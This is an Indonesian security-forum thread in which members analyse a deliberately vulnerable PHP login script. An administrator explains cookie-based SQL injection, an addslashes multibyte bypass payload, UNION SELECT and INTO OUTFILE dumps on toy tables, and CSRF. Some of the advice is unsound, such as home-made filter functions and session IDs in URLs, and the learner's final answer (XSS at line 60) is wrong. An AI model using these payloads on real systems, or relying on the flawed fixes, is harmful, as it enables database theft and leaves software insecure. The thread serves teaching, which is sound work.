Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-19-2013, 08:45 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › PHP v
« Previous 1 ... 20 21 22 23 24 ... 31 Next »

ini sesi pertama :details

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
ini sesi pertama :details
01-14-2012, 11:11 AM
Post: #1
lulu Offline
./Devilz 1st Cadet
Posts: 7
Joined: Jan 2012
Reputation: 0
ini sesi pertama :details
ini sesi pertama :lulu minta bimbingan.
dapet tugas seperti dibawah ini

Quote:<?php

include( "config.php" );

mysql_connect( $dbhost, $dbuser, $dbpass ) or die( "Unable to connect!" );
mysql_select_db( $db );

if( isset( $_POST['username'] ) && isset( $_POST['password'] ) )
{
setcookie( "username", addslashes( $_POST['username'] ) );
setcookie( "password", addslashes( $_POST['password'] ) );
header( "Location: " . $_SERVER['PHP_SELF'] );
}
else
{
if( isset( $_COOKIE['username'] ) && isset( $_COOKIE['password'] ) )
{
$query = "SELECT * FROM `members` WHERE username = '" . $_COOKIE['username'] . "' AND password = '" . $_COOKIE['password'] . "'";
$res = mysql_query( $query ) or die( "Query: " . $query . " failed." );
$rows = mysql_num_rows( $res );
if( !$rows )
{
die("Username or password invalid!");
}
if( isset( $_POST['update'] ) )
{
$pass = addslashes( $_POST['new_pass'] );
$update = "UPDATE members SET password = '" . $pass . "' WHERE username = '" . $_COOKIE['username'];
mysql_query( $update ) or die( "Unable to update your password, please try again!" );
}
else
{
$row = mysql_fetch_row( $res );
?>
<div style="text-align: center;">
<h2>Logged in as: <?= htmlentities( $row[0] ); ?></h2><br /><br />
<strong>::Change Your Password::</strong>
<form action="<?= htmlentities( $_SERVER['PHP_SELF'] ); ?>" method="post"><br />
New Password: <input type="text" name="new_pass" /><br />
<input type="submit" name="submit" value="::Change Pass::" />
</form>
</div>
<?php
}
}
else
{
?>
<div style="text-align: center;">
<strong>::Log In::</strong>
<form action="<?= htmlentities( $_SERVER['PHP_SELF'] ); ?>" method="post"><br />
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" name="submit" value="::Log In::" />
</form>
</div>
<?php
}
}

?>

cari di paman [g] udah pasti dapet,ko di tanya di forum?
tujuannya belajar bareng dan :lulu tambah pengetahuan,kawan dc yang masih belajar bisa nambah pengetahuan juga, oke..

dari script diatas yang :lulu tanya

Details dari script tsb:

Quote:1.Exploit Type: ...........


Quote:2.Exploitable Line: .......

Quote:3.Patched Line: ...........

untuk yg menjawab mohon di jelasin detailnya, :lulu yakin kawan di dc langsung dapat menjawab

karena :lulu lagi belajar dan minta bimbingan kawan dc, jadi mohon kesabarannya untuk membimbing :lulu

salam :lulu
Find all posts by this user
Quote this message in a reply
01-14-2012, 11:47 AM
Post: #2
chiboga Offline
./Devilz Advisor
Posts: 691
Joined: Nov 2011
Reputation: 24
RE: ini sesi pertama :details
wah, gak ngerti php ne bro, baru dalam tahap belajar ...!!!

Nyimak aja dech
: belajar : belajar
Find all posts by this user
Quote this message in a reply
01-14-2012, 12:58 PM (This post was last modified: 01-14-2012 12:59 PM by Killu4.)
Post: #3
Killu4 Away
./Devilz Advisor
Posts: 744
Joined: Nov 2011
Reputation: 16
RE: ini sesi pertama :details
ijin nyimak jg yaa,nunggu para om php dari DC turun gunung. Ntar pasti dibantuin koq ketawa
Find all posts by this user
Quote this message in a reply
01-14-2012, 01:05 PM
Post: #4
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,881
Joined: Oct 2010
Reputation: 91
RE: ini sesi pertama :details
kaya config.php yah mba' lulu,...
tapi saya juga bingung tuh soal na ga' ahli masalah php ketawa
#bg ketek mana bg ketek,...
Find all posts by this user
Quote this message in a reply
01-14-2012, 02:35 PM
Post: #5
lulu Offline
./Devilz 1st Cadet
Posts: 7
Joined: Jan 2012
Reputation: 0
RE: ini sesi pertama :details
(01-14-2012 01:05 PM)badwolves1986 Wrote:  kaya config.php yah mba' lulu,...
tapi saya juga bingung tuh soal na ga' ahli masalah php ketawa
#bg ketek mana bg ketek,...

iya kaka :lulu juga bingung nih
bocorannya sih semacam ...apa yah lupa euy.......oh iya patching gitu deh.
sama-sama kita nyimak dan cari jawabannya yu...?

belajar
Find all posts by this user
Quote this message in a reply
01-14-2012, 03:52 PM
Post: #6
ditatompel Offline
Administrator
*******
Administrators
Posts: 2,168
Joined: Dec 2010
Reputation: 367
RE: ini sesi pertama :details
Ini sistem login dan update password ya? asik
mantap nih threadnya... Yuk kita diskusi sama2..
Klo ane liat ni beberapa vulnsnya om :

1. SQL Injection dengan manipulasi cookie
PHP Code:
if( isset( $_COOKIE['username'] ) && isset( $_COOKIE['password'] ) ) {
$query = "SELECT * FROM `members` WHERE username = '" . $_COOKIE['username'] . "' AND password = '" . $_COOKIE['password'] . "'"; 
Dengan memanipulasi cookie yg disimpen di browser dengan query injeksi, bisa jalan nih om karena query diatas tidak difilter sama sekali ketawa

2. SQL Injection dengan melakukan bypass addslashes()
Untuk fungsi addslashes() tidak benar2 melindungi om karena bisa diakali dengan menggunakan karakter multi-byte yang valid, jadi lolos dari filterisasi single quote.
PHP Code:
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR 1 = 1 /*'; 
Ref : http://eleves.ec-lille.fr/~couprieg/post...characters
Akan lebih baik klo kita bikin funsi sendiri untuk filterisasi karakter2 berbahaya.

3. Ini jg bisa kena CSRF nih om.. Soalnya kaga dikasi session unik tiap kali melakukan submit form. smangat
Untuk form2 sensitif baiknya sih diberi session random om.. Misal login.php?sessionid=blablabla
Jadi tiap kali dia gagal login sessionid generate nilai string baru untuk sedikit menangkal CSRF.
Sebenernya klo masalah CSRF ane juga males dan jijik ngurusinnya... Ribet dan susah dideteksi... nohope

CMIIW, mungkin temen2 laen ada tambahan? smangat
Find all posts by this user
Quote this message in a reply
01-14-2012, 06:38 PM (This post was last modified: 01-14-2012 06:40 PM by od3yz.)
Post: #7
od3yz Offline
"Brondong Metal Devilzc0de"
Posts: 889
Joined: Mar 2011
Reputation: 48
RE: ini sesi pertama :details
(01-14-2012 03:52 PM)ditatompel Wrote:  Ini sistem login dan update password ya? asik
mantap nih threadnya... Yuk kita diskusi sama2..
Klo ane liat ni beberapa vulnsnya om :

1. SQL Injection dengan manipulasi cookie
PHP Code:
if( isset( $_COOKIE['username'] ) && isset( $_COOKIE['password'] ) ) {
$query = "SELECT * FROM `members` WHERE username = '" . $_COOKIE['username'] . "' AND password = '" . $_COOKIE['password'] . "'"; 
Dengan memanipulasi cookie yg disimpen di browser dengan query injeksi, bisa jalan nih om karena query diatas tidak difilter sama sekali ketawa

2. SQL Injection dengan melakukan bypass addslashes()
Untuk fungsi addslashes() tidak benar2 melindungi om karena bisa diakali dengan menggunakan karakter multi-byte yang valid, jadi lolos dari filterisasi single quote.
PHP Code:
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR 1 = 1 /*'; 
Ref : http://eleves.ec-lille.fr/~couprieg/post...characters
Akan lebih baik klo kita bikin funsi sendiri untuk filterisasi karakter2 berbahaya.

3. Ini jg bisa kena CSRF nih om.. Soalnya kaga dikasi session unik tiap kali melakukan submit form. smangat
Untuk form2 sensitif baiknya sih diberi session random om.. Misal login.php?sessionid=blablabla
Jadi tiap kali dia gagal login sessionid generate nilai string baru untuk sedikit menangkal CSRF.
Sebenernya klo masalah CSRF ane juga males dan jijik ngurusinnya... Ribet dan susah dideteksi... nohope

CMIIW, mungkin temen2 laen ada tambahan? smangat

ajiipp kax dita, klo di tambahin begini bijimana kaka
PHP Code:
setcookie( "username", mysql_real_escape_string (( $_POST['username'] ) ));
setcookie( "password", mysql_real_escape_string (( $_POST['password'] ))); 

ituuhh mase bsa d injek kak?
panggilllll ditatompel
Visit this user's website Find all posts by this user
Quote this message in a reply
01-14-2012, 08:16 PM
Post: #8
ditatompel Offline
Administrator
*******
Administrators
Posts: 2,168
Joined: Dec 2010
Reputation: 367
RE: ini sesi pertama :details
(01-14-2012 06:38 PM)od3yz Wrote:  ajiipp kax dita, klo di tambahin begini bijimana kaka
PHP Code:
setcookie( "username", mysql_real_escape_string (( $_POST['username'] ) ));
setcookie( "password", mysql_real_escape_string (( $_POST['password'] ))); 

ituuhh mase bsa d injek kak?
panggilllll @[ditatompel]

Sama aja kan klo kita ubah cookie di browser buat injek SQL masih ga kefilter di sini :
PHP Code:
if( isset( $_COOKIE['username'] ) && isset( $_COOKIE['password'] ) ) {
$query = "SELECT * FROM `members` WHERE username = '" . $_COOKIE['username'] . "' AND password = '" . $_COOKIE['password'] . "'"; 
Query untuk cocokin cookie sama password harus difilter juga om. ketawa

Untuk mysql_real_escape_string() mari kita coba karakter2 berbahayahahahahaha...
Quote:' akan menjadi \'
I'm akan menjadi I\'m
100% akan tetap menjadi 100%
gue_keren akan tetap menjadi gue_keren
OR 1 = 1 akan tetap menjadi OR 1 = 1

jadi mysql_real_escape_string() TIDAK melakukan escape char seperti % (persen) dan _ (underscore)
Kita masih bisa melakukan bypass lewat LIKE , OR dsb.

Misal nih, contoh aja kita punya 2 table. table user dan table pacar. hmm
Code:
mysql> SELECT * FROM user;
+----+--------------+-------------+----------------+
| id | username     | password    | email          |
+----+--------------+-------------+----------------+
|  1 | ditatompel   | keren       | aaa@contoh.com |
|  2 | t3k0         | sarjana     | bbb@contoh.com |
|  3 | ketek        | preketek    | ccc@contoh.com |
|  4 | chaer        | mahopolepel | ddd@contoh.com |
+----+--------------+-------------+----------------+

Code:
mysql> SELECT * FROM pacar;
+----+---------+---------------+
| id | user_id | nama          |
+----+---------+---------------+
|  1 |       1 | Avril Lavigne |
|  2 |       4 | Mpok Atik     |
|  3 |       3 | Nofia         |
+----+---------+---------------+

Kita coba nih sekarang lakuin query biasa...

PHP Code:
SELECT * FROM user WHERE id = mysql_real_escape_string($userid); 

query diatas akan menjadi :
Code:
mysql> SELECT * FROM user WHERE id = 1;
+----+--------------+-------------+----------------+
| id | username     | password    | email          |
+----+--------------+-------------+----------------+
|  1 | ditatompel   | keren       | aaa@contoh.com |
+----+--------------+-------------+----------------+

Hasilnya masih oke! pinter
Lanjut testing dengan UNION SELECT seneng

PHP Code:
SELECT * FROM user WHERE id = mysql_real_escape_string("1 UNION SELECT id, user_id, nama, NULL FROM pacar WHERE user_id = 1"); 

hasil querynya akan menjadi :

Code:
mysql> SELECT * FROM user WHERE id = 1 UNION SELECT id, user_id, nama, NULL FROM pacar WHERE user_id = 1;
+----+--------------+---------------+----------------+
| id | username     | password      | email          |
+----+--------------+---------------+----------------+
|  1 | ditatompel   | keren         | aaa@contoh.com |
|  1 | 1            | Avril Lavigne | NULL           |
+----+--------------+---------------+----------------+

smangat
Kita dapet data di database dari injekan query... ternyata pacarnya om dita Avril Lavigne wawa

Nah data2 user bisa jd tidak aman kan.. ketawa

Yang mirisnya lagi, banyak developer perusahaan besar yang membiarkan query sql sama sekali tidak difilter, penyerang bisa aja ngelakuin dump database dengan sql injection tersebut.
Misal
Code:
SELECT * FROM user WHERE id = 1 OR 1=1 UNION SELECT id, user_id, nama, 0 FROM pacar INTO OUTFILE '/tmp/dbwoned.txt';

smangat

Jadi jawaban untuk mysql_real_escape_string() bisa diinject / tidak.
jawabannya : bisa banget. asik

Gampangnya gini om.. Klo emang cuma pake mysql_real_escape_string dan addslashes udah secure, kita bakal jarang nemuin bugs sql injection. Tp nyatanya banyak kan yang masih bejibun di luar sono maling
Find all posts by this user
Quote this message in a reply
 Reputed by :  spook(+1)
01-14-2012, 09:42 PM
Post: #9
od3yz Offline
"Brondong Metal Devilzc0de"
Posts: 889
Joined: Mar 2011
Reputation: 48
RE: ini sesi pertama :details
wah mase kurang aman :((
ajip kax dita penjelasannya asik
Visit this user's website Find all posts by this user
Quote this message in a reply
01-16-2012, 01:47 PM
Post: #10
lulu Offline
./Devilz 1st Cadet
Posts: 7
Joined: Jan 2012
Reputation: 0
RE: ini sesi pertama :details
sempurna..
:lulu yakin pasti kaka dc bisa menjawab

thanks ka dita atas penjabarannya

artinya sekarang bisa kita jawab 3 point diatas

Quote:1.Exploit Type: Cross Site Scripting

Quote:2.Exploitable Line: 60

Quote:3.Patched Line:
PHP Code:
if( isset( $_COOKIE['username'] ) && isset( $_COOKIE['password'] ) ) {
$query = "SELECT * FROM `members` WHERE username = '" . $_COOKIE['username'] . "' AND password = '" . $_COOKIE['password'] . "'"; 


kalo seperti itu benar ga ka dita?? help..please
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Script PHP Pertama Ane... syn_attack 9 497 07-18-2012 05:32 PM
Last Post: KillerByte

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-19-2013, 08:45 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE